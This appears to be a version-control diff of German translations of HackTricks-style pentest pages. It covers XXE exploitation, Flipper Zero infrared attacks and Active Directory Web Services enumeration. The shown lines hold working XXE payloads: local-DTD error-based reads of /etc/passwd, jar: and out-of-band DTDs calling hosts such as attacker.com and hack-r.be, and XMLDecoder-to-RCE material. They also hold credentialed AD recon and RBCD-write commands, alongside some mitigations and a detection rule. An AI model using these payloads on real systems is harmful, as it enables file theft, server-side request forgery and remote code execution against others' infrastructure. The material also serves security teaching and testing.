Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -169,7 +169,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt:
|
||||
|
||||
- Die Definition einer XML-Parameterentität namens `local_dtd` umfasst die externe DTD-Datei, die sich im Dateisystem des Servers befindet.
|
||||
- Eine Neudefinition erfolgt für die XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu kapseln. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler auszulösen, der den Inhalt der Datei `/etc/passwd` offenbart.
|
||||
- Durch die Verwendung der Entität `local_dtd` wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.
|
||||
- Durch die Verwendung der `local_dtd`-Entität wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.
|
||||
|
||||
**Echtweltbeispiel:** Systeme, die die GNOME-Desktopumgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
|
||||
```xml
|
||||
@ -188,7 +188,7 @@ Die skizzierten Schritte werden durch diese DTD ausgeführt:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Da diese Technik eine **interne DTD verwendet, müssen Sie zuerst eine gültige finden**. Sie könnten dies tun, indem Sie das gleiche **Betriebssystem / die gleiche Software** installieren, die der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eine von ihnen existiert:
|
||||
Da diese Technik ein **internes DTD verwendet, müssen Sie zuerst ein gültiges finden**. Sie könnten dies **tun, indem Sie** dasselbe **Betriebssystem / Software** installieren, das der Server verwendet, und **einige Standard-DTDs suchen**, oder **eine Liste** von **Standard-DTDs** in Systemen **abrufen** und **überprüfen**, ob eines von ihnen existiert:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -199,13 +199,13 @@ Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind
|
||||
|
||||
### DTDs im System finden
|
||||
|
||||
In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs, die im System vorhanden sein können**, finden:
|
||||
In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs finden, die im System vorhanden sein können**:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **im System vorhandenen DTDs** zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
|
||||
Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **DTDs** im System zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -219,9 +219,9 @@ Testing 0 entities : []
|
||||
```
|
||||
### XXE über Office Open XML Parser
|
||||
|
||||
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify an**.
|
||||
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify** an.
|
||||
|
||||
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
|
||||
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung es Benutzern ermöglichen, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
|
||||
|
||||
Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
|
||||
|
||||
@ -245,19 +245,19 @@ jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
|
||||
Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das Jar-Protokoll zuzugreifen, umfasst mehrere Schritte:
|
||||
|
||||
1. Eine HTTP-Anfrage wird gesendet, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
|
||||
1. Eine HTTP-Anfrage wird gestellt, um das Zip-Archiv von einem bestimmten Ort herunterzuladen, wie z.B. `https://download.website.com/archive.zip`.
|
||||
2. Die HTTP-Antwort, die das Archiv enthält, wird vorübergehend auf dem System gespeichert, typischerweise an einem Ort wie `/tmp/...`.
|
||||
3. Das Archiv wird dann extrahiert, um auf seinen Inhalt zuzugreifen.
|
||||
4. Die spezifische Datei innerhalb des Archivs, `file.zip`, wird gelesen.
|
||||
3. Das Archiv wird dann extrahiert, um auf den Inhalt zuzugreifen.
|
||||
4. Die spezifische Datei im Archiv, `file.zip`, wird gelesen.
|
||||
5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.
|
||||
|
||||
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können dafür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
|
||||
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung unbegrenzt offen zu halten, während die Archivdatei bereitgestellt wird. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können hierfür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfad Traversierung beinhaltet** (wie lokale Datei-Einbindung, Template-Injection, XSLT RCE, Deserialisierung usw.).
|
||||
> Das Schreiben von Dateien in ein temporäres Verzeichnis kann helfen, **eine andere Schwachstelle auszunutzen, die eine Pfadüberquerung beinhaltet** (wie lokale Dateieinbindung, Template-Injektion, XSLT RCE, Deserialisierung usw.).
|
||||
|
||||
### XSS
|
||||
```xml
|
||||
@ -342,7 +342,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
|
||||
|
||||
### **PDF - Datei-Upload**
|
||||
|
||||
Lesen Sie den folgenden Beitrag, um **zu lernen, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:
|
||||
Lesen Sie den folgenden Beitrag, um **zu erfahren, wie man eine XXE beim Hochladen einer PDF-Datei ausnutzt**:
|
||||
|
||||
{{#ref}}
|
||||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||||
@ -420,7 +420,7 @@ Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.gith
|
||||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### Datei:/ Protokollumgehung
|
||||
### File:/ Protokoll Umgehung
|
||||
|
||||
Wenn das Web PHP verwendet, können Sie anstelle von `file:/` **php wrappers**`php://filter/convert.base64-encode/resource=` verwenden, um **auf interne Dateien** zuzugreifen.
|
||||
|
||||
@ -429,7 +429,7 @@ Wenn das Web Java verwendet, können Sie das [**jar: Protokoll**](xxe-xee-xml-ex
|
||||
### HTML Entities
|
||||
|
||||
Trick von [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||
Sie können eine **Entität innerhalb einer Entität** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
|
||||
Sie können eine **Entity innerhalb einer Entity** erstellen, indem Sie sie mit **html entities** kodieren und dann aufrufen, um **eine dtd zu laden**.\
|
||||
Beachten Sie, dass die verwendeten **HTML Entities** **numerisch** sein müssen (wie \[in diesem Beispiel]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||
@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml
|
||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 anzeigt. Eine bemerkte Einschränkung dieser Version von Java ist die Unfähigkeit, Dateien mit einem Zeilenumbruchzeichen, wie z.B. /etc/passwd, mit der Out of Band-Technik abzurufen.
|
||||
Dieser Ansatz zeigt, dass der User Agent die Verwendung von Java 1.8 anzeigt. Eine bemerkte Einschränkung dieser Version von Java ist die Unfähigkeit, Dateien mit einem Zeilenumbruchzeichen, wie /etc/passwd, mithilfe der Out of Band-Technik abzurufen.
|
||||
|
||||
Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein Error-Based-Ansatz verwendet. Die DTD-Datei ist wie folgt strukturiert, um einen Fehler auszulösen, der Daten aus einer Ziel-Datei enthält:
|
||||
```xml
|
||||
@ -523,7 +523,7 @@ Error-Based Data Exfiltration Um diese Einschränkung zu überwinden, wird ein E
|
||||
%foo;
|
||||
%xxe;
|
||||
```
|
||||
Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und darauf hindeutet, dass der Server versucht, auf die angegebene Datei zuzugreifen:
|
||||
Der Server antwortet mit einem Fehler, der wichtig auf die nicht vorhandene Datei hinweist und anzeigt, dass der Server versucht, auf die angegebene Datei zuzugreifen:
|
||||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
@ -540,7 +540,7 @@ Diese Modifikation führt zur erfolgreichen Exfiltration des Inhalts der Datei,
|
||||
|
||||
Gültiges XML im RSS-Format zur Ausnutzung einer XXE-Schwachstelle.
|
||||
|
||||
### Ping back
|
||||
### Ping zurück
|
||||
|
||||
Einfacher HTTP-Anfrage an den Server des Angreifers.
|
||||
```xml
|
||||
@ -586,7 +586,7 @@ Einfacher HTTP-Anfrage an den Server des Angreifers.
|
||||
```
|
||||
### Quellcode lesen
|
||||
|
||||
Verwendung des PHP base64-Filters
|
||||
Verwendung des PHP base64 Filters
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
@ -609,7 +609,7 @@ Verwendung des PHP base64-Filters
|
||||
```
|
||||
## Java XMLDecoder XEE zu RCE
|
||||
|
||||
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Möglichkeit zur Codeausführung auf dem Server.
|
||||
XMLDecoder ist eine Java-Klasse, die Objekte basierend auf einer XML-Nachricht erstellt. Wenn ein böswilliger Benutzer eine Anwendung dazu bringen kann, willkürliche Daten in einem Aufruf der Methode **readObject** zu verwenden, erhält er sofort die Codeausführung auf dem Server.
|
||||
|
||||
### Verwendung von Runtime().exec()
|
||||
```xml
|
||||
@ -687,13 +687,13 @@ https://github.com/luisfontes19/xxexploiter
|
||||
> Die Python-Bibliothek **lxml** verwendet **libxml2** im Hintergrund. Versionen vor **lxml 5.4.0 / libxml2 2.13.8** erweitern weiterhin *Parameter*-Entitäten, selbst wenn `resolve_entities=False` gesetzt ist, wodurch sie erreichbar sind, wenn die Anwendung `load_dtd=True` und/oder `resolve_entities=True` aktiviert. Dies ermöglicht fehlerbasierte XXE-Payloads, die den Inhalt lokaler Dateien in die Parser-Fehlermeldung einbetten.
|
||||
|
||||
#### 1. Ausnutzen von lxml < 5.4.0
|
||||
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z.B. `%config_hex;`).
|
||||
1. Identifiziere oder erstelle eine *lokale* DTD auf der Festplatte, die eine **undefinierte** Parameterentität definiert (z. B. `%config_hex;`).
|
||||
2. Erstelle eine interne DTD, die:
|
||||
* Die lokale DTD mit `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">` lädt.
|
||||
* Die undefinierte Entität so umdefiniert, dass sie:
|
||||
- Die Zieldatei liest (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
|
||||
- Eine weitere Parameterentität erstellt, die auf einen **ungültigen Pfad** verweist, der den Wert `%flag;` enthält und einen Parserfehler auslöst (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
|
||||
3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, nicht in der Lage ist, `/aaa/<FLAG>` zu öffnen und das Flag innerhalb der ausgelösten Ausnahme leakt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
|
||||
3. Schließlich erweitere `%local_dtd;` und `%eval;`, sodass der Parser auf `%error;` stößt, nicht in der Lage ist, `/aaa/<FLAG>` zu öffnen und das Flag innerhalb der ausgelösten Ausnahme preisgibt – was oft von der Anwendung an den Benutzer zurückgegeben wird.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
|
||||
@ -713,9 +713,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
|
||||
#### 2. Umgehung der lxml 5.4.0-Härtung (libxml2 weiterhin anfällig)
|
||||
`lxml` ≥ 5.4.0 verbietet *error*-Parameterentitäten wie die oben genannte, aber **libxml2** erlaubt es weiterhin, sie in einer *allgemeinen* Entität einzubetten. Der Trick besteht darin:
|
||||
1. Lesen Sie die Datei in eine Parameterentität `%file`.
|
||||
2. Deklarieren Sie eine weitere Parameterentität, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
|
||||
3. Platzieren Sie `&c;` im XML-Body. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt er fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider.
|
||||
1. Die Datei in eine Parameterentität `%file` zu lesen.
|
||||
2. Eine weitere Parameterentität zu deklarieren, die eine **allgemeine** Entität `c` erstellt, deren SYSTEM-Identifikator ein *nicht existierendes Protokoll* wie `meow://%file;` verwendet.
|
||||
3. `&c;` im XML-Body zu platzieren. Wenn der Parser versucht, `meow://…` zu dereferenzieren, schlägt es fehl und spiegelt die vollständige URI – einschließlich des Dateiinhalts – in der Fehlermeldung wider.
|
||||
```xml
|
||||
<!DOCTYPE colors [
|
||||
<!ENTITY % a '
|
||||
@ -731,7 +731,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
|
||||
* Eine **ungültige URI** oder **nicht vorhandene Datei** reicht aus, um kontrollierte Daten in die ausgelöste Ausnahme zu concatenieren.
|
||||
* Die Technik funktioniert **ohne ausgehende Konnektivität**, was sie ideal für streng gefilterte Umgebungen macht.
|
||||
|
||||
#### Minderungshinweise
|
||||
#### Hinweise zur Minderung
|
||||
* Aktualisieren Sie auf **lxml ≥ 5.4.0** und stellen Sie sicher, dass das zugrunde liegende **libxml2** **≥ 2.13.8** ist.
|
||||
* Deaktivieren Sie `load_dtd` und/oder `resolve_entities`, es sei denn, es ist absolut erforderlich.
|
||||
* Vermeiden Sie es, rohe Parser-Fehler an den Client zurückzugeben.
|
||||
@ -763,11 +763,11 @@ dbf.setExpandEntityReferences(false);
|
||||
|
||||
DocumentBuilder builder = dbf.newDocumentBuilder();
|
||||
```
|
||||
Wenn die Anwendung DTDs intern unterstützen muss, lassen Sie `disallow-doctype-decl` deaktiviert, aber **lassen Sie** die beiden `external-*-entities` Funktionen **immer** auf `false` gesetzt. Diese Kombination verhindert klassische Datei-Offenlegungs-Payloads (`file:///etc/passwd`) sowie netzwerkbasierte SSRF-Vektoren (`http://169.254.169.254/…`, `jar:`-Protokoll usw.).
|
||||
Wenn die Anwendung DTDs intern unterstützen muss, lassen Sie `disallow-doctype-decl` deaktiviert, aber **lassen Sie** die beiden `external-*-entities` Funktionen **immer** auf `false` gesetzt. Die Kombination verhindert klassische Datei-Offenlegungs-Payloads (`file:///etc/passwd`) sowie netzwerkbasierte SSRF-Vektoren (`http://169.254.169.254/…`, `jar:`-Protokoll usw.).
|
||||
|
||||
Fallstudie aus der Praxis: **CVE-2025-27136** im Java S3-Emulator *LocalS3* verwendete den oben gezeigten anfälligen Konstruktor. Ein nicht authentifizierter Angreifer konnte einen manipulierten XML-Körper an den `CreateBucketConfiguration`-Endpunkt übermitteln und den Server dazu bringen, lokale Dateien (zum Beispiel `/etc/passwd`) in die HTTP-Antwort einzubetten.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [OffSec Blog – CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
|
||||
|
||||
|
||||
@ -53,7 +53,7 @@ In der Regel gibt es ein Preamble zu Beginn eines kodierten Pakets. Dies ermögl
|
||||
|
||||
Dann werden die Daten übertragen. Die Struktur, Preamble und Bitkodierungsmethode werden durch das spezifische Protokoll bestimmt.
|
||||
|
||||
**NEC-IR-Protokoll** enthält einen kurzen Befehl und einen Wiederholcode, der gesendet wird, solange die Taste gedrückt wird. Sowohl der Befehl als auch der Wiederholcode haben zu Beginn die gleiche Preamble.
|
||||
**NEC-IR-Protokoll** enthält einen kurzen Befehl und einen Wiederholcode, der gesendet wird, solange die Taste gedrückt ist. Sowohl der Befehl als auch der Wiederholcode haben zu Beginn die gleiche Preamble.
|
||||
|
||||
Der **Befehl** von NEC besteht neben der Preamble aus einem Adressbyte und einem Befehlsnummernbyte, durch das das Gerät versteht, was ausgeführt werden muss. Adress- und Befehlsnummernbytes werden mit inversen Werten dupliziert, um die Integrität der Übertragung zu überprüfen. Am Ende des Befehls gibt es ein zusätzliches Stoppbit.
|
||||
|
||||
@ -64,7 +64,7 @@ Für **Logik "0" und "1"** verwendet NEC die Pulsabstandskodierung: Zuerst wird
|
||||
### Klimaanlagen
|
||||
|
||||
Im Gegensatz zu anderen Fernbedienungen **übertragen Klimaanlagen nicht nur den Code der gedrückten Taste**. Sie **übertragen auch alle Informationen**, wenn eine Taste gedrückt wird, um sicherzustellen, dass die **Klimaanlage und die Fernbedienung synchronisiert sind**.\
|
||||
Dies verhindert, dass eine Maschine, die auf 20ºC eingestellt ist, mit einer Fernbedienung auf 21ºC erhöht wird, und wenn dann eine andere Fernbedienung, die immer noch die Temperatur von 20ºC hat, verwendet wird, um die Temperatur weiter zu erhöhen, wird sie auf 21ºC "erhöht" (und nicht auf 22ºC, weil sie denkt, dass sie auf 21ºC ist).
|
||||
Dies verhindert, dass eine auf 20ºC eingestellte Maschine mit einer Fernbedienung auf 21ºC erhöht wird und dann, wenn eine andere Fernbedienung, die immer noch die Temperatur von 20ºC hat, verwendet wird, die Temperatur weiter erhöht wird, sie auf 21ºC "erhöht" (und nicht auf 22ºC, weil sie denkt, dass sie auf 21ºC ist).
|
||||
|
||||
---
|
||||
|
||||
@ -88,11 +88,11 @@ Sicherheitskameras, Router oder sogar bösartige USB-Sticks enthalten oft **Nach
|
||||
* Überwachen Sie den Duty-Cycle der Kamera-LED und die Firmware-Integrität
|
||||
* IR-Cut-Filter an Fenstern und Überwachungskameras einsetzen
|
||||
|
||||
Ein Angreifer kann auch starke IR-Projektoren verwenden, um **Befehle** in das Netzwerk einzuschleusen, indem er Daten an unsichere Kameras zurücksendet.
|
||||
Ein Angreifer kann auch starke IR-Projektoren verwenden, um **Befehle** in das Netzwerk einzuschleusen, indem er Daten an unsichere Kameras zurückblitzt.
|
||||
|
||||
### Langstrecken-Brute-Force & Erweiterte Protokolle mit Flipper Zero 1.0
|
||||
|
||||
Die Firmware 1.0 (September 2024) fügte **Dutzende zusätzlicher IR-Protokolle und optionale externe Verstärkermodule** hinzu. In Kombination mit dem Brute-Force-Modus der universellen Fernbedienung kann ein Flipper die meisten öffentlichen Fernseher/Klimaanlagen aus bis zu 30 m mit einer Hochleistungsdiode deaktivieren oder neu konfigurieren.
|
||||
Firmware 1.0 (September 2024) fügte **Dutzende zusätzlicher IR-Protokolle und optionale externe Verstärkermodule** hinzu. In Kombination mit dem Brute-Force-Modus der Universalfernbedienung kann ein Flipper die meisten öffentlichen Fernseher/Klimaanlagen aus bis zu 30 m mit einer Hochleistungsdiode deaktivieren oder neu konfigurieren.
|
||||
|
||||
---
|
||||
|
||||
@ -135,7 +135,7 @@ irsend SEND_ONCE samsung KEY_POWER
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [Flipper Zero Infrarot-Blogbeitrag](https://blog.flipperzero.one/infrared/)
|
||||
- EvilScreen: Smart-TV-Hijacking durch Nachahmung der Fernbedienung (arXiv 2210.03014)
|
||||
- [Flipper Zero Infrarot Blogbeitrag](https://blog.flipperzero.one/infrared/)
|
||||
- EvilScreen: Smart TV Übernahme durch Nachahmung der Fernbedienung (arXiv 2210.03014)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Was ist ADWS?
|
||||
|
||||
Active Directory Web Services (ADWS) ist **standardmäßig auf jedem Domänencontroller seit Windows Server 2008 R2 aktiviert** und hört auf TCP **9389**. Trotz des Namens ist **kein HTTP beteiligt**. Stattdessen stellt der Dienst LDAP-ähnliche Daten über einen Stapel proprietärer .NET-Frame-Protokolle bereit:
|
||||
Active Directory Web Services (ADWS) ist **standardmäßig auf jedem Domänencontroller seit Windows Server 2008 R2 aktiviert** und hört auf TCP **9389**. Trotz des Namens ist **kein HTTP beteiligt**. Stattdessen exponiert der Dienst LDAP-ähnliche Daten durch einen Stapel proprietärer .NET-Frame-Protokolle:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
@ -12,7 +12,7 @@ Da der Datenverkehr in diesen binären SOAP-Frames gekapselt ist und über einen
|
||||
|
||||
* Stealthier Recon – Blaue Teams konzentrieren sich oft auf LDAP-Abfragen.
|
||||
* Freiheit, von **nicht-Windows-Hosts (Linux, macOS)** zu sammeln, indem 9389/TCP durch einen SOCKS-Proxy getunnelt wird.
|
||||
* Die gleichen Daten, die Sie über LDAP erhalten würden (Benutzer, Gruppen, ACLs, Schema usw.) und die Möglichkeit, **Schreibvorgänge** durchzuführen (z. B. `msDs-AllowedToActOnBehalfOfOtherIdentity` für **RBCD**).
|
||||
* Die gleichen Daten, die Sie über LDAP erhalten würden (Benutzer, Gruppen, ACLs, Schema usw.) und die Fähigkeit, **Schreibvorgänge** durchzuführen (z. B. `msDs-AllowedToActOnBehalfOfOtherIdentity` für **RBCD**).
|
||||
|
||||
> HINWEIS: ADWS wird auch von vielen RSAT GUI/PowerShell-Tools verwendet, sodass der Datenverkehr mit legitimen Administrationsaktivitäten vermischt werden kann.
|
||||
|
||||
@ -23,7 +23,7 @@ Da der Datenverkehr in diesen binären SOAP-Frames gekapselt ist und über einen
|
||||
### Hauptmerkmale
|
||||
|
||||
* Unterstützt **Proxying über SOCKS** (nützlich von C2-Implantaten).
|
||||
* Fein abgestufte Suchfilter identisch zu LDAP `-q '(objectClass=user)'`.
|
||||
* Fein abgestimmte Suchfilter identisch zu LDAP `-q '(objectClass=user)'`.
|
||||
* Optionale **Schreib**-Operationen ( `--set` / `--delete` ).
|
||||
* **BOFHound-Ausgabemodus** für die direkte Eingabe in BloodHound.
|
||||
* `--parse`-Flag zur Verschönerung von Zeitstempeln / `userAccountControl`, wenn menschliche Lesbarkeit erforderlich ist.
|
||||
@ -44,7 +44,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
| tee data/domain.log
|
||||
```
|
||||
3. **Sammeln Sie ADCS-bezogene Objekte aus dem Configuration NC:**
|
||||
3. **Sammeln Sie ADCS-bezogene Objekte aus der Konfigurations-NC:**
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-dn 'CN=Configuration,DC=ludus,DC=domain' \
|
||||
@ -56,7 +56,7 @@ soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
5. **Laden Sie die ZIP-Datei** in die BloodHound-GUI hoch und führen Sie Cypher-Abfragen wie `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` aus, um Zertifikatseskalationspfade (ESC1, ESC8 usw.) offenzulegen.
|
||||
5. **Laden Sie die ZIP** in die BloodHound-GUI hoch und führen Sie Cypher-Abfragen wie `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` aus, um Zertifikatseskalationspfade (ESC1, ESC8 usw.) offenzulegen.
|
||||
|
||||
### Schreiben von `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
|
||||
```bash
|
||||
@ -80,11 +80,11 @@ Ereignisse erscheinen unter **Directory-Service** mit dem vollständigen LDAP-Fi
|
||||
|
||||
### SACL Canary Objects
|
||||
|
||||
1. Erstellen Sie ein Dummy-Objekt (z. B. deaktivierter Benutzer `CanaryUser`).
|
||||
1. Erstellen Sie ein Dummy-Objekt (z.B. deaktivierter Benutzer `CanaryUser`).
|
||||
2. Fügen Sie eine **Audit** ACE für das _Everyone_ Prinzipal hinzu, die auf **ReadProperty** geprüft wird.
|
||||
3. Jedes Mal, wenn ein Angreifer `(servicePrincipalName=*)`, `(objectClass=user)` usw. ausführt, gibt der DC **Event 4662** aus, das die echte Benutzer-SID enthält – selbst wenn die Anfrage proxyisiert oder von ADWS stammt.
|
||||
|
||||
Beispiel für eine vorgefertigte Regel von Elastic:
|
||||
Elastic vorgefertigtes Regelbeispiel:
|
||||
```kql
|
||||
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
|
||||
```
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
> HINWEIS: Diese Seite gruppiert einige der nützlichsten Dienstprogramme zur **Enumeration** und **Visualisierung** von Active Directory-Beziehungen. Für die Sammlung über den stealthy **Active Directory Web Services (ADWS)** Kanal siehe den oben genannten Verweis.
|
||||
> HINWEIS: Diese Seite gruppiert einige der nützlichsten Dienstprogramme zur **Enumeration** und **Visualisierung** von Active Directory-Beziehungen. Für die Sammlung über den stealthy **Active Directory Web Services (ADWS)**-Kanal siehe den obigen Verweis.
|
||||
|
||||
---
|
||||
|
||||
@ -37,7 +37,7 @@ PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
|
||||
|
||||
## BloodHound (Graphvisualisierung)
|
||||
|
||||
[BloodHound](https://github.com/BloodHoundAD/BloodHound) verwendet Graphentheorie + Neo4j, um versteckte Berechtigungsbeziehungen in On-Prem AD & Azure AD offenzulegen.
|
||||
